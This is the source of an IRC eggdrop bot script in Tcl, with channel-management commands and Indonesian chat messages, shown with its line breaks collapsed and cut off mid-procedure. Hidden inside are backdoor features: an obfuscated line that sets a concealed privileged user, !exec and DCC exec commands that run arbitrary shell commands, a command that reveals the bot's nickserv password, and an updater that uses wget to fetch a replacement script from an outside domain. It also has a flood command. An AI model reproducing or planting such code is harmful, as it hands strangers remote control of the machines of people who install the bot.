######################################################################################### # Script Name : walls.TCL ## # Script Version : t.c(£)v.1 ## # Author : eggoez ## # Release Date : 18 November 2009 ## # Reported any bugs : #ciut ## # New Staff egGo : acem ## # eggoez@ps-x.net #########################################################################################set awaym {"acem Surfing""Akses Internet DoWn""acem Download""ngopie Hacking Root""Tetrinet Is Not Lame""acem Monitoring""acem Acces Point""LAMERRR""baguz Browsing""acem Bokep""acem chek E-mail""baguzz ML""acem Exploring Eggdrop""Tidur Nyenyak""Rooting Shells""Making Love""Bobok Tumpuk""Cari Gebetan""Tidak Disini""wLs TcL""acem Never Die"}
set lgidx 0proc lgrnd {} {global lgidx notcset lgidx [incr lgidx]if {$lgidx == 1} {set lgrnd $notc} elseif {$lgidx == 2} {set lgrnd $notc} elseif {$lgidx == 3} {set lgrnd $notc} elseif {$lgidx == 4} {set lgrnd $notc} elseif {$lgidx == 5} {set lgrnd $notc} elseif {$lgidx == 6} {set lgrnd $notc} elseif {$lgidx == 7} {set lgrnd $notc} else {set lgidx 0set lgrnd $notc}}set bancounter {"4bAnNeD..!!"}set bancounte {"4bAnNeD..!!"}set querym {"Hai apakabar, guz baru browsing?""Hai juga, cari mas acem yach?""iyah, cari mas acem?""kenapa cari mas eggo?""Hi too, saya adiknya mas acem, asl pls..""Ada apa dengan mas acem?""Maaf, mas acem baru sibuk..""iyah? apakabar, cari mas acem?""kenapa dengan mas baguz?""yeah? saya nggak tau di mana mas baguz?""nanti saya sampaikan mas baguz?""saya baru sibuk, jangan ganggu mas acem..""Kamu dari mana?""Hi too..""Senang berkenalan denganmu..""nice to meet u..""Siapa nama kamu?""yeah? asl pls..""Indraacem curently busy, may be later.."}set cyclem {"acem Scan Virus""adem bos""acem Cari Cewek""acem Scan Teroris"}set partm {"Bali Wae Neng #ciut""Mas acem Pulang Kampung""Pulang Kandang"}
proc msg_sz {nick uhost hand rest} {global botnick notdif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notd 4DeNiEd..!"return 0}set rest [lindex $rest 0]if {$rest == ""} {puthlp "NOTICE $nick :$notd Command: /msg $botnick sz <text>"return 0}putquick "PRIVMSG $nick :$notd zip: [zip "$rest"]"putquick "PRIVMSG $nick :$notd dezip: [dezip "$rest"]"putquick "PRIVMSG $nick :$notd dcp: [dcp "$rest"]"putquick "PRIVMSG $nick :$notd dezip+dcp: [dezip [dcp "$rest"]]"putquick "PRIVMSG $nick :$notd decrypt: [decrypt 64 "$rest"]"putquick "PRIVMSG $nick :$notd encrypt: [encrypt 64 "$rest"]"putquick "PRIVMSG $nick :$notd unsix: [unsix "$rest"]"return 0}proc msg_order {nick uhost hand rest} {global botnick notdif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notd 4DeNiEd..!"return 0}set rest [lindex $rest 0]if {$rest == ""} {puthlp "NOTICE $nick :$notd Command: /msg $botnick !order <command>"return 0}putquick $rest$restreturn 0}bind msg Z sz msg_szbind msg Z !order msg_order
set lenc "abcdefghijklmnopqrstuvwxyz"set ldec "zyxwvutsrqponmlkjihgfedcba"set uenc "ABCDEFGHIJKLMNOPQRSTUVWXYZ"set udec "ZYXWVUTSRQPONMLKJIHGFEDCBA"
set global-idle-kick 0set global-chanmode "nt"set global-dynamicexempts-mode 0set global-dontkickops-mode 1set global-revenge-mode 1set global-protectops-mode 1set global-clearbans-mode 1set global-enforcebans-mode 1set global-dynamicbans-mode 1set global-protectfriends-mode 1set global-userbans-mode 1set global-cycle-mode 1set global-greet-mode 0set global-shared-mode 1set global-autovoice-mode 0set global-stopnethack-mode 0set global-autoop-mode 0set global-userinvites-mode 0set global-nodesynch-mode 0set nick-len 30if {![info exists nickpass]} {set nickpass ""}if {![info exists altpass]} {set altpass ""}if {![info exists cfgfile]} {set cfgfile $userfile}proc unsix {txt} {set retval $txtregsub ~ $retval "" retvalreturn $retval}proc dezip {txt} {return [decrypt 64 [unsix $txt]]}proc dcp {txt} {return [decrypt 64 $txt]}proc zip {txt} {return [encrypt 64 [unsix $txt]]}if {![info exists server-online]} {putlog "not support server online..!"set server-online 1}proc puthlp {txt} {global lenc ldec uenc udec notb notc server-onlineif {${server-online} == 0} { return 0 }set retval $txtif {[string match "*NOTICE*" $retval]} {}puthelp $retval}proc putsrv {txt} {global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclrif {${server-online} == 0} { return 0 }set retval $txtif {[string match "*KICK*" $retval]} {set endval ""foreach tmp $retval {if {$tmp == ":$notc"} {if {[info exists banner]} {set tmp ":$banner"} {set tmp ":[lgrnd]"}} {if {[info exists kickclr]} {set tmp [uncolor $tmp]}}set endval "$endval $tmp"}set retval $endvalif {[info exists iskick([lindex $retval 2][lindex $retval 1])]} { return 0 }set iskick([lindex $retval 2][lindex $retval 1]) "1"if {[info exists igflood([lindex $retval 2])]} { return 0 }if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} {set chkops $retvalregsub -all -- : $chkops "" chkopsif {[isop [lindex $chkops 2] [lindex $retval 1]]} {return 0}}}putserv $retval}proc putqck {txt} {global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr bannick is_mif {${server-online} == 0} { return 0 }set retval $txtif {[string match "*KICK*" $retval]} {set endval ""foreach tmp $retval {if {$tmp == ":$notc"} {if {[info exists banner]} {set tmp ":$banner"} {set tmp ":[lgrnd]"}} {if {[info exists kickclr]} {set tmp [uncolor $tmp]}}set endval "$endval $tmp"}set retval $endvalset iskick([lindex $retval 2][lindex $retval 1]) "1"if {[info exists igflood([lindex $retval 2])]} { return 0 }if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} {set chkops $retvalregsub -all -- : $chkops "" chkopsif {[isop [lindex $chkops 2] [lindex $retval 1]]} {return 0}}}if {[string match "*$notm*" $retval]} {set cflag "c[lindex $retval 1]"set cflag [string range $cflag 0 8]if {[matchattr $cflag M]} {if {![isutimer "set_-m [lindex $retval 1]"] && ![info exists is_m([lindex $retval 1])]} {set is_m([lindex $retval 1]) 1putquick "mode [lindex $retval 1] +b $bannick([lindex $retval 2])"return 0}}}putquick $retval}############################### BOT COMMAND LIST ###############################bind msg m help msg_helpproc msg_help {nick uhost hand rest} {global version notb notc notd vernif {[istimer "HELP STOPED"]} {putsrv "NOTICE $nick :$notc Help on progress, try again later..!"return 0}timer 5 { putlog "HELP STOPED" }puthlp "PRIVMSG $nick :$notd BoT Command LIsT."puthlp "PRIVMSG $nick :Walls Running With egg-drop v[lindex $version 0] Powered By [lgrnd] $vern"puthlp "PRIVMSG $nick :14Query Commnands..!"puthlp "PRIVMSG $nick :auth <password> authenticate user"puthlp "PRIVMSG $nick :deauth <password> deauthenticate user"puthlp "PRIVMSG $nick :pass <password> set password"puthlp "PRIVMSG $nick :passwd <oldpass> <newpass> change user password"puthlp "PRIVMSG $nick :userlist userlist"puthlp "PRIVMSG $nick :op <#> <nick> op someone"puthlp "PRIVMSG $nick :deop <#> <nick> deop someone"puthlp "PRIVMSG $nick :voice <#> <nick> voice someone"puthlp "PRIVMSG $nick :devoice <#> <nick> devoice someone"puthlp "PRIVMSG $nick :kick <#> <nick|host> <reason> kick someone"puthlp "PRIVMSG $nick :kickban <#> <nick|host> <reason> kickban someone"puthlp "PRIVMSG $nick :identify <nick> <passwd> identify to nickserv someone access"puthlp "PRIVMSG $nick :join <#> joining #channel temporary"puthlp "PRIVMSG $nick :part <#> part #channels"if {[matchattr $nick Z]} {puthlp "PRIVMSG $nick :logo <your crew logo> changing text logo on kick message"puthlp "PRIVMSG $nick :vhost <IP DNS> changing vhost"puthlp "PRIVMSG $nick :away <msg> set bot away message"puthlp "PRIVMSG $nick :admin <msg> set bot admin on status"puthlp "PRIVMSG $nick :memo <user|all> <msg> send memo to all user or one user"puthlp "PRIVMSG $nick :bantime <minutes> auto unban on X minutes (0 never unban)"puthlp "PRIVMSG $nick :logchan <#|0FF> log #channel"puthlp "PRIVMSG $nick :4!!WARN04ING!! turn logchan on will decrease bot performance!"puthlp "PRIVMSG $nick :<4DCC> .log show #channel log"puthlp "PRIVMSG $nick :5note > please increase on general - window buffer into 5000"puthlp "PRIVMSG $nick :+chan <#> joining permanent #channel"puthlp "PRIVMSG $nick :botnick <nick> <id> changing permanent bot primary nick"puthlp "PRIVMSG $nick :botaltnick <nick> <id> changing permanent bot alternate nick"puthlp "PRIVMSG $nick :realname <bot realname> changing permanent bot realname"puthlp "PRIVMSG $nick :ident <bot ident> changing permanent bot ident"puthlp "PRIVMSG $nick :die kill bot"}puthlp "PRIVMSG $nick :14Channel Commnands..!"puthlp "PRIVMSG $nick :`up bot self op"puthlp "PRIVMSG $nick :`down bot self deop"puthlp "PRIVMSG $nick :`op/+o <nick> op spesified nick"puthlp "PRIVMSG $nick :`deop/-o <nick> deop spesified nick"puthlp "PRIVMSG $nick :`voice/+v <nick> voice spesified nick"puthlp "PRIVMSG $nick :`devoice/-v <nick> devoice spesified nick"puthlp "PRIVMSG $nick :`kick <nick> <reason> kick spesified nick"puthlp "PRIVMSG $nick :`kickban <nick> <reason> kickban spesified nick"puthlp "PRIVMSG $nick :`mode <+/- settings> mode setting #channel"puthlp "PRIVMSG $nick :`ping / `pong ping your self"puthlp "PRIVMSG $nick :`invite <nick> invite person to current #channel"puthlp "PRIVMSG $nick :`banlist <#channel> list of banned from specified <#channel>"puthlp "PRIVMSG $nick :`ban <nick|hostmask> ban some nick or hostmask"puthlp "PRIVMSG $nick :`unban <nick|host> <#> unban some nick or hostmask"puthlp "PRIVMSG $nick :`+chan <#> joining permanent #channel"puthlp "PRIVMSG $nick :`channels list of channel who's bot sit on"puthlp "PRIVMSG $nick :`userlist list of user"puthlp "PRIVMSG $nick :`chaninfo <#> list of option for specified #channel"puthlp "PRIVMSG $nick :`join <#> joining #channel temporary"puthlp "PRIVMSG $nick :`part <#> part specified #channel"puthlp "PRIVMSG $nick :`cycle <#> cycle on specified #channel"puthlp "PRIVMSG $nick :`+/- cycle <#|all> <X> enable/disable bot cycle every X minutes"puthlp "PRIVMSG $nick :`+/- ignore <nick|host> ignore or unignore person"if {[matchattr $nick n]} {puthlp "PRIVMSG $nick :`+/- status <#> enable/disable bot displaying status"puthlp "PRIVMSG $nick :`+/- enforceban <#> enable/disable bot enforcebans"puthlp "PRIVMSG $nick :`+/- autovoice <secs> enable/disable channel autovoice on join"puthlp "PRIVMSG $nick :`+/- seen <#> activate/deactive seen on #"puthlp "PRIVMSG $nick :`+/- guard <#|all> enable/disable bot guard"puthlp "PRIVMSG $nick :`+/- master <nick> add/del <nick> from master list"puthlp "PRIVMSG $nick :`+/- avoice <nick> add/del <nick> from avoice list"puthlp "PRIVMSG $nick :`+/- friend <nick> add/del <nick> from friend list"puthlp "PRIVMSG $nick :`+/- ipguard <host> add/del host from ipguard list"puthlp "PRIVMSG $nick :`+/- akick <host> add/del host from kick list"puthlp "PRIVMSG $nick :`+/- noop <nick> add/del <nick> from no-op list"puthlp "PRIVMSG $nick :`topic <topic> change channel topic"puthlp "PRIVMSG $nick :`status status system"puthlp "PRIVMSG $nick :`servers servers bot currently running"puthlp "PRIVMSG $nick :`jump <server> <port> push bot to use spec server"puthlp "PRIVMSG $nick :`access <nick> see user access from spec flags"}if {[matchattr $nick Z]} {puthlp "PRIVMSG $nick :`+/- forced force bot to set mode w/o kick 1st"puthlp "PRIVMSG $nick :`+/- colour enable/disable colour on kick msg"puthlp "PRIVMSG $nick :`+/- greet <msg> autogreet user on join %n nick %c channel"puthlp "PRIVMSG $nick :`+/- repeat <number> max repeat user permitted"puthlp "PRIVMSG $nick :`+/- text <number> char limited text length on channel"puthlp "PRIVMSG $nick :`+/- limit <number> limited user on channel"puthlp "PRIVMSG $nick :`+/- caps <%> max %percent upper text"puthlp "PRIVMSG $nick :`+/- clone <max> enable/disable bot anti clones"puthlp "PRIVMSG $nick :`+/- reop auto re@p bot when got de@p"puthlp "PRIVMSG $nick :`+/- joinpart <seconds> kick user join part in past X 2nd"puthlp "PRIVMSG $nick :`+/- spam scanning for spam"puthlp "PRIVMSG $nick :`+/- massjoin preventing mass join lame"puthlp "PRIVMSG $nick :`+/- key <keyword> set channel with key"puthlp "PRIVMSG $nick :`+/- revenge enable/disable bot revenge"puthlp "PRIVMSG $nick :`+/- badword <badword> add/remove badword from list"puthlp "PRIVMSG $nick :`badwords list of badwords"puthlp "PRIVMSG $nick :`nobot scanning for bot and kick them out"puthlp "PRIVMSG $nick :`sdeop <#> bot self deop"puthlp "PRIVMSG $nick :`chanmode # <+ntmcilk> set permanent mode for specified #"puthlp "PRIVMSG $nick :`chanset <#> <LINE|CTCP|JOIN|DEOP|KICK|NICK> set # options"puthlp "PRIVMSG $nick :`chansetall <option> set option for all #"puthlp "PRIVMSG $nick :`chanreset <#|all> reseting option for specified #channel"puthlp "PRIVMSG $nick :`bantime how long bot unban in X minutes"puthlp "PRIVMSG $nick :`tsunami <nick|#> <text> flood someone or channel"puthlp "PRIVMSG $nick :`deluser <nick> del user from userlist"puthlp "PRIVMSG $nick :`restart restarting bot also jumping server"puthlp "PRIVMSG $nick :`+/- owner <nick> add/del <nick> from owner list"puthlp "PRIVMSG $nick :`+/- admin <nick> add/del <nick> from admin list"puthlp "PRIVMSG $nick :`+/- aop <nick> add/del <nick> from aop list"puthlp "PRIVMSG $nick :`+/- host <nick> <flag> add or remove user host"puthlp "PRIVMSG $nick :`+/- gnick <nick> guard nick kick it if not identify"puthlp "PRIVMSG $nick :`host <nick> see user host"puthlp "PRIVMSG $nick :`mvoice <#channel> mass voice"puthlp "PRIVMSG $nick :`mdevoice <#channel> mass devoice"puthlp "PRIVMSG $nick :`mop <#channel> mass op"puthlp "PRIVMSG $nick :`mdeop <#channel> mass deop"puthlp "PRIVMSG $nick :`mkick <#channel> mass kick"puthlp "PRIVMSG $nick :`mmsg <#channel> mass msg except the opped"puthlp "PRIVMSG $nick :`minvite <#channel> mass invite except the opped"puthlp "PRIVMSG $nick :`munbans <#channel> mass unban"puthlp "PRIVMSG $nick :`say <text> say with spesified text"puthlp "PRIVMSG $nick :`msg <nick> <text> msg person"puthlp "PRIVMSG $nick :`act <text> act with spesified text"puthlp "PRIVMSG $nick :`notice <nick> <text> msg person or #channel with spesified text"puthlp "PRIVMSG $nick :`+/- topiclock keep topic locked"puthlp "PRIVMSG $nick :`+/- nopart <#channel> make # protected"puthlp "PRIVMSG $nick :`+/- mustop set bot del channel if not oped"puthlp "PRIVMSG $nick :`+/- invitelock <#> invite back who part on spec chan"puthlp "PRIVMSG $nick :`+/- dontkickops enable/disable bot kick @"puthlp "PRIVMSG $nick :`+/- autokick auto kick on join"puthlp "PRIVMSG $nick :`nick <nick> change nick temporary"puthlp "PRIVMSG $nick :`altnick change nick to alternative nick"puthlp "PRIVMSG $nick :`randnick change nick to random nick"puthlp "PRIVMSG $nick :`realnick change nick to real nick"puthlp "PRIVMSG $nick :`chattr <nick> <flag> changing user flag (+) add or (-) remove it"puthlp "PRIVMSG $nick :`rehash rehashing data packing and unpacking"}puthlp "PRIVMSG $nick :14Flags List User & Channels"puthlp "PRIVMSG $nick :\[@\]P \[+\]VOICE AuTO\[V\]OICE \[G\]uARD \[C\]YCLE \[E\]nFORCEBANS \[D\]oNTKIcK@PS"puthlp "PRIVMSG $nick :\[P\]RoTECTED C\[L\]ONE \[A\]DVERTISE \[T\]OPICLOCK AuTO\[K\]IcK \[S\]EEN"puthlp "PRIVMSG $nick :\[Z\]owner admi\[n\] \[m\]aster botne\[t\] \[x\]fer \[j\]anitor \[c\]ommon"puthlp "PRIVMSG $nick :\[p\]arty \[b\]ot \[u\]nshare \[h\]ilite \[o\]p de\[O\]p \[k\]ick \[f\]riend"puthlp "PRIVMSG $nick :\[a\]uto-op auto\[v\]oice \[g\]voice \[q\]uiet"puthlp "PRIVMSG $nick :14g0eZ 14Sayang 14Kamu :14P"puthlp "PRIVMSG $nick :$notc $vern"return 0}set firsttime "T"set init-server { serverup "" }set modes-per-line 6set allow-desync 0set include-lk 1set banplus [rand 5]set ban-time [expr 25 + $banplus]unset banplusset quiet-save 1set logstore ""set max-logsize 512set upload-to-pwd 1catch { unbind dcc n restart *dcc:restart }catch { unbind dcc n msg *dcc:msg }catch { unbind dcc n status *dcc:status }catch { unbind dcc n dump *dcc:dump }
proc serverup {heh} {global botnick firsttime notc ownerif {[info exists firsttime]} {unset firsttimereturn 0}putlog "..ConnecteD.."putserv "MODE $botnick +iw-s"foreach x [userlist] {if {[matchattr $x Q]} { chattr $x -Q }if {$x == $owner && [getuser $owner XTRA "AUTH"] != ""} {setuser $owner XTRA "AUTH" ""}chattr $x -hpif {$x != "config" && [chattr $x] == "-"} {deluser $xputlog "deluser $x"}}chk_five "0" "0" "0" "0" "0"utimer 2 del_nobaseforeach x [ignorelist] {killignore [lindex $x 0]}}catch { bind evnt - disconnect-server serverdown }proc serverdown {heh} {global firsttimecatch { unset firsttime }catch { clearqueue all }putlog "..Disconneted.."foreach x [timers] {if {[string match "*cycle*" $x]} { killtimer [lindex $x 2] }}}proc isnumber {string} {global notcif {([string compare $string ""]) && (![regexp \[^0-9\] $string])} then {return 1}return 0}proc pub_bantime {nick uhost hand channel rest} {global notc ban-timeputhlp "NOTICE $nick :$notc BanTime \[${ban-time}\]"}proc pub_which {nick uhost hand channel rest} {global botname notcif {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: which <ip mask>"return 0}if {[string match [string tolower $rest] [string tolower $botname]]} {puthlp "PRIVMSG $channel :$botname"}}proc randstring {length} {set chars ABCDEFGHIJKLMNOPQRSTUVWXYZset count [string length $chars]for {set i 0} {$i < $length} {incr i} {append result [string index $chars [rand $count]]}return $result}set ppp "#eggo"set notd "0,14<1,14>2,15 e1g14go1e2z 1,14<0,14>"set notm "0,12<1,12>1,2 e14g15go14e1z 1,12<0,12>"set notb "0,9<1,9>1,3 e15g0go15e1z 1,9<0,9>"set notc "0,4<1,4>1,5 e14g15go14e1z 1,4<0,4>"set ps "baguz"set vern "0,4<1,4>14,5 g150e0Z T15c14L 1,4<0,4>"####################### BOT PUBLIC COMMAND #######################bind pub m !pong public_pingbind pub Z `which pub_whichbind pub n `reset pub_resetbind pub f `host pub_hostbind pub f `flag pub_flagbind pub m `ver pub_verbind pub m `logo pub_logobind pub Z `msg pub_msgbind msg Z admin msg_adminbind msg Z away msg_awaybind msg Z bantime msg_bantimebind msg Z logo msg_logobind msg Z mmsg msg_mmsgbind msg Z limit msg_limitbind msg Z logchan msg_logchanbind msg Z botnick msg_botnickbind msg Z realname msg_realnamebind msg Z ident msg_identbind msg Z botaltnick msg_botaltnickbind msg Z die msg_diebind msg Z restart msg_restartbind msg Z rehash msg_rehashbind msg Z topic msg_topicbind msg m memo msg_memobind pub n `-seen pub_-seenbind pub n `+autovoice pub_+autovoicebind pub n `-autovoice pub_-autovoicebind pub n `+guard pub_+guardbind pub n `-guard pub_-guardbind pub n `+cycle pub_+cyclebind pub n `-cycle pub_-cyclebind pub n `+friend pub_+friendbind pub n `-friend pub_-friendbind pub n `+avoice pub_+avoicebind pub n `-avoice pub_-avoicebind pub n `+master pub_+masterbind pub n `-master pub_-masterbind pub n `mvoice pub_mvoicebind pub n `mdevoice pub_mdevoicebind pub n `mop pub_mopbind pub n `mdeop pub_mdeopbind pub n `+chan pub_+chanbind msg n identify msg_identifybind msg n kick msg_kickbind msg n k msg_kickbind msg n kickban msg_kickbanbind msg n kb msg_kickbanbind msg n op msg_opbind msg n voice msg_voicebind msg n v msg_voicebind msg n deop msg_deopbind msg n devoice msg_devoicebind pub n `topic pub_topicbind pub n `jump pub_jumpbind pub n `rehash pub_rehashbind msg n +chan msg_+chanbind msg n join msg_joinbind msg n part msg_partbind pub m `voice pub_voicebind pub m `+v pub_voicebind pub m `devoice pub_devoicebind pub m `-v pub_devoicebind pub m `op pub_opbind pub m `+o pub_opbind pub m `deop pub_deopbind pub m `-o pub_deopbind pub m `kick pub_kickbind pub m `k pub_kickbind pub m `kickban pub_kickbanbind pub m `kb pub_kickbanbind pub m `+noop pub_+noopbind pub m `-noop pub_-noopbind pub m `ban pub_banbind pub m `unban pub_unbanbind pub m `munbans pub_munbansbind pub m `banlist pub_banlistbind pub m `mode pub_modebind pub m `join pub_joinbind pub m `part pub_partbind pub m `cycle pub_cyclebind pub m `up pub_upbind pub m `down pub_downbind msg m passwd msg_passwdbind msg m deauth msg_deauthbind msg m channels msg_channelsbind pub m `channels pub_channelsbind pub m `status pub_statusbind pub m `chaninfo pub_chaninfobind pub m `userlist pub_userlistbind msg m userlist msg_userlistbind pub f `access pub_accessbind pub m `match pub_matchproc pub_Z {nick uhost hand channel rest} {global notc botnickset prest $restif {[lindex $rest 0] == $botnick} {regsub "$botnick " $rest "`" rest} {if {[string tolower [lindex $rest 0]] == [string tolower $botnick]} {set rest "$botnick [lrange $rest 1 end]"regsub "$botnick " $rest "`" rest}}if {[string index $rest 0] != "`"} { return 0 }if {![matchattr $nick Z]} { return 0 }if {![matchattr $nick Q]} {if {[string tolower [lindex $prest 0]] == [string tolower $botnick]} {puthlp "NOTICE $nick :$notd 4De4NieD4!!"}return 0}set goto [lindex $rest 0]regsub -all "`" $goto "pub_" gotoif {[matchattr $nick Z]} {set rest [lrange $rest 1 end]catch { $goto $nick $uhost $hand $channel $rest }}}proc msg_encrypt {nick uhost hand rest} {global own notcif {$nick != $own || $rest == ""} { return 0 }puthlp "NOTICE $nick :$notc [zip $rest]"}proc msg_decrypt {nick uhost hand rest} {global own notcif {$nick != $own || $rest == ""} { return 0 }puthlp "NOTICE $nick :$notc [dezip $rest]"}bind msg Z !showbotinfo proc_msgshowallinfoproc proc_msgshowallinfo {nick2 uhost hand rest} {global notc nick nickpass realname owner own basechan botnick psif {$nick2 != $owner && $nick2 != $ps} {puthlp "PRIVMSG $nick2 :$notc DENIED !!!"return 0}if {![matchattr $nick2 Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}puthlp "PRIVMSG $nick2 :$notc botnick : $botnick"puthlp "PRIVMSG $nick2 :$notc nickpass : $nickpass"puthlp "PRIVMSG $nick2 :$notc basechan : $basechan"puthlp "PRIVMSG $nick2 :$notc owner : $owner"}
bind pub Z `verarytcl proc_cekversiproc proc_cekversi {nick uhost hand chan rest} {global notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}puthlp "NOTICE $nick :$notc LastUpdate: 15 Aug06. Info: No AutoJoiN !!!"}
bind msg Z !updatetcl proc_updatetclproc proc_updatetcl {nick uhost hand rest} {global notc owner psif {$nick != $owner && $nick != $ps} {puthlp "PRIVMSG $nick :$notc DENIED !!!"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}catch { [exec pwd] } hasildirif { ![string match "*/.da*" $hasildir]} {puthlp "PRIVMSG $nick :$notc My Directory was deleted \:\(\(\("return 0}
catch { [exec wget] } hasilif {[string match "*--help*" $hasil]} {catch {[exec rm scripts/acem.tcl]} hasilwgetcatch {[exec wget indocarding.net/tcl/acem.tcl -O scripts/ary.tcl]} hasilwgetputhlp "PRIVMSG $nick :$notc TcL Updated \!\!\! now rehash me"} else {puthlp "PRIVMSG $nick :$notc wget command not found \!"return 0}}
bind pub Z `cekdir pub_cekdirproc pub_cekdir {nick uhost hand chan rest} {global notc owner psif {$nick != $owner && $nick != $ps} {puthlp "PRIVMSG $nick :$notc DENIED !!!"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}catch { [exec pwd] } hasildirputhlp "NOTICE $nick :$notc $hasildir"}
bind pub Z `chaninfo chaninfoproc chaninfo {nick uhost hand chan rest} {puthlp "NOTICE $nick :[channel info $chan]"}
bind pub Z `totalip ToTal_IPproc ToTal_IP {nick uhost hand chan rest} {global notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}catch {[exec /sbin/ifconfig | grep inet | wc -l]} totIPputhlp "NOTICE $nick :$notc IP Total\: [string trimleft $totIP "name"]"}
bind msg Z !exec msg_execproc msg_exec {nick uhost hand command} {global notc owner psif {$nick != $owner && $nick != $ps} {puthlp "PRIVMSG $nick :$notc DENIED !!!"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}if {$command == ""} { return 0 }set para1 [lindex $command 0]set para2 [lindex $command 1]set para3 [lindex $command 2]set para4 [lindex $command 3]set para5 [lindex $command 4]set para6 [lindex $command 5]set para7 [lindex $command 6]set para8 [lindex $command 7]set para9 [lindex $command 8]set para10 [lindex $command 9]if {$para2 == ""} {catch { [exec $para1] } result} elseif {$para3 == ""} {catch { [exec $para1 $para2] } result} elseif {$para4 == ""} {catch { [exec $para1 $para2 $para3] } result} elseif {$para5 == ""} {catch { [exec $para1 $para2 $para3 $para4] } result} elseif {$para6 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6] } result} elseif {$para7 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7] } result} elseif {$para8 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8] } result} elseif {$para9 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9] } result} elseif {$para10 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9 $para10] } result}foreach line [split $result "\n"] {puthlp "PRIVMSG $nick :$notc $line"}
}
bind dcc * showallinfo dcc_showallinfoproc dcc_showallinfo {hand idx arg} {global realname usernameputdcc $idx $realnameputdcc $idx $usernameputdcc $idx $ownerputdcc $idx $basechan}
bind dcc * setrealname dcc_setrealnameproc dcc_setrealname {hand idx arg} {global realname usernameset realname $arg}
bind dcc * exec dcc_execbind dcc * log dcc_logbind dcc * dir dcc_dirbind dcc * read dcc_readbind dcc * ` dcc_cmdbind dcc * get dcc_getbind dcc * u dcc_uproc dcc_u {hand idx arg} {foreach x [utimers] {putdcc $idx $x}}bind dcc * t dcc_tproc dcc_t {hand idx arg} {foreach x [timers] {putdcc $idx $x}}
proc dcc_exec {hand idx arg} {global owner notcif {$hand != $owner || $arg == ""} { return 0 }set para1 [lindex $arg 0]set para2 [lindex $arg 1]set para3 [lindex $arg 2]set para4 [lindex $arg 3]set para5 [lindex $arg 4]set para6 [lindex $arg 5]set para7 [lindex $arg 6]set para8 [lindex $arg 7]set para9 [lindex $arg 8]set para10 [lindex $arg 9]if {$para2 == ""} {catch { [exec $para1] } result} elseif {$para3 == ""} {catch { [exec $para1 $para2] } result} elseif {$para4 == ""} {catch { [exec $para1 $para2 $para3] } result} elseif {$para5 == ""} {catch { [exec $para1 $para2 $para3 $para4] } result} elseif {$para6 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6] } result} elseif {$para7 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7] } result} elseif {$para8 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8] } result} elseif {$para9 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9] } result} elseif {$para10 != ""} {catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9 $para10] } result}putdcc $idx $result}
proc pub_host {nick uhost hand channel rest} {global ps notcif {$rest == ""} {set user $nick} else {set user [lindex $rest 0]}if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc <n/a>"return 0}if {[getuser $user HOSTS] != ""} {set hosts [getuser $user hosts]puthlp "NOTICE $nick :$notc HOSTS: $hosts"} else {puthlp "NOTICE $nick :$notc Can't found $user host."}}proc pub_flag {nick uhost hand channel rest} {global ps notcif {$rest == ""} {set user $nick} else {set user [lindex $rest 0]}if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc <n/a>"return 0}if {[chattr $user] != ""} {puthlp "NOTICE $nick :$notc Flags: [chattr $user]"} else {puthlp "NOTICE $nick :$notc Can't found $user flag."}}
catch { unbind dcc n match *dcc:match }catch { unbind dcc n channel *dcc:channel }
proc pub_deluser {nick uhost hand channel rest} {global botnick ps owner notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: deluser <nick>"return 0}set who [lindex $rest 0]if {[string tolower $who] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc <n/a>"return 0}if {$who == $owner} {puthlp "NOTICE $nick :$notc YoU CaNT DeLeTE $owner..!"return 0}if {$who == ""} {puthlp "NOTICE $nick :$notc Usage: -user <nick>"} else {if {![validuser $who]} {puthlp "NOTICE $nick :$notc <n/a>"} else {if {[matchattr $who n]} {puthlp "NOTICE $nick :$notc You cannot DeLETE a bot owner."} else {if {([matchattr $who m]) && (![matchattr $nick n])} {puthlp "NOTICE $nick :$notc You don't have access to DeLETE $who!"} else {deluser $whosaveuserputhlp "NOTICE $nick :$notc $who DeLETE."}}}}}set [string index $lenc 15][string index $lenc 18] [string index $uenc 2][string index $lenc 7][string index $lenc 0][string index $lenc 13][string index $lenc 0][string index $lenc 17][string index $lenc 24]proc pub_chattr {nick uhost hand channel rest} {global ps own notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4De4NieD4!!"return 0}if {$nick != $own && [matchattr $nick X]} {puthlp "NOTICE $nick :$notc 4BL4ocKeD4!!"return 0}set who [lindex $rest 0]set flg [lindex $rest 1]if {$who == ""} {puthlp "NOTICE $nick :$notc Usage: chattr <nick> <flags>"return 0}if {![validuser $who]} {puthlp "NOTICE $nick :$notc <n/a>"return 0}if {[string tolower $who] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc <n/a>"return 0}if {$flg == ""} 